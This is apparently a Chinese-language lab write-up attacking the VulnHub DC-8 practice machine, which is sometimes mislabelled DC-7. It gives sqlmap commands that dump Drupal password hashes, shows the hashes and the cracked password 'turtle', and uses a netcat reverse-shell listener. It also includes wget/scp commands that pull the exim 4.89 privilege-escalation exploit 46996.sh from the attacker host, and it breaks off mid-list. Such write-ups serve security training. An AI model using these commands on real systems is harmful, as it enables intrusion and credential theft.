DC-8 靶机渗透测试实战
靶机下载地址:
https://download.vulnhub.com/dc/DC-8.zip(下载速度慢可以用迅雷下载)
一、实验环境
实验环境:
kali2024:192.168.234.145(nat模式)
靶机环境DC-7(nat模式,MAC地址:00:50:56:23:3F:6D)
保证kali和DC-7在同一个网段
二、渗透过程演示
信息收集
打开测试靶机DC-7
使用nmap扫描整个网段
根据MAC地址得到dc-7的IP地址
接下来对该靶机进行详细的扫描
靶机开了80端口和22端口
发现是Drupal(是国外三大开源的PHP CMS 之一)
各个选项卡点开看看,发现可能存在SQL注入漏洞
渗透过程
用Sqlmap自动化工具注入
sqlmap -u "http://192.168.43.33/?nid=1" --batch (检测注入点)
sqlmap -u "http://192.168.43.33/?nid=1" --dbs(列出所有数据库名字)
sqlmap -u "http://192.168.43.33/?nid=1" --current-db (列出当前数据库的名字:'d7db')
sqlmap -u "http://192.168.43.33/?nid=1" -D "d7db" --tables(-D指定数据库,--tables列出表名,发现users表)
sqlmap -u "http://192.168.43.33/?nid=1" -D "d7db" -T "users" --columns(-T指定表名,--columns列出所有字段,对pass字段和name字段比较感兴趣)
sqlmap -u "http://192.168.43.33/?nid=1" -D "d7db" -T "users" -C "pass,name" --dump (-C指定列名,--dump列出字段内容)
发现存在admin和john这两个用户
admin的密码加密后为:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john的密码加密后为:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
John爆破用户名和密码
著名密码破解利器John the Ripper(使用:https://www.jianshu.com/p/5ee11fb0414e)
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
将上述密文写到一个文件里面:vim drupal_v7_admin_hash.txtjohn drupal_v7_admin_hash.txt 跑了好久没有解出密码
发现admin的hash并没有解出,再将john用户的hash放入到drupal_v7_john_hash.txt文件中,用john再默认跑一下
john drupal_v7_john_hash.txt
得到john密码为turtle现在知道数据库dbd7的john用户的密码为turtle
用john用户的密码turtle登录后台
查看robots.txt
发现/user/login好像是登录后台的界面,登录成功
GetShell(利用php代码执行漏洞)
在john的登录界面到处看看,终于在Contact Us界面找到了写shell的地方
再Contact Us发现php代码执行漏洞
该漏洞在表单提交时才会触发
这里自带的格式不要删除,否者会后端读取的时候会报错导致无法执行php代码!!!(否则getshell会不成功)
save之后 回到VIEW界面
提交表单(在此之前需要监听对应端口)【在kali上nc -lvvp 1234】
反弹成功
进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权
思路1、sudo -l(需要密码,执行不通X)
思路2、查看有没有一些具有suid权限的命令
find / -perm /4000 2>dev/null
exim4提权
查看exim4版本
/usr/sbin/exim4 --version
发现版本是4.89
使用searchsploit查找响应漏洞
searchsploit exim 4.
Local Privilege Escalation(本地特权升级)
将响应漏洞拷贝到靶机
方法一:scp远程拷贝
把它弄到靶机里,使用scp:
需要先在kali开启ssh服务------Kali ssh服务
$ scp root@192.168.234.145:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/ (在dc8user@dc-8:~$下拷贝)
确认已经拷过来了
方法二:wget下载
本地开启http 服务
由于我们反弹shell 得到的用户在当前目录下没有写权限,我们切换至/tmp 目录下
wget http://192.168.234.145:8080/46996.sh
给了两个提权方法
方法一
提权成功
方法二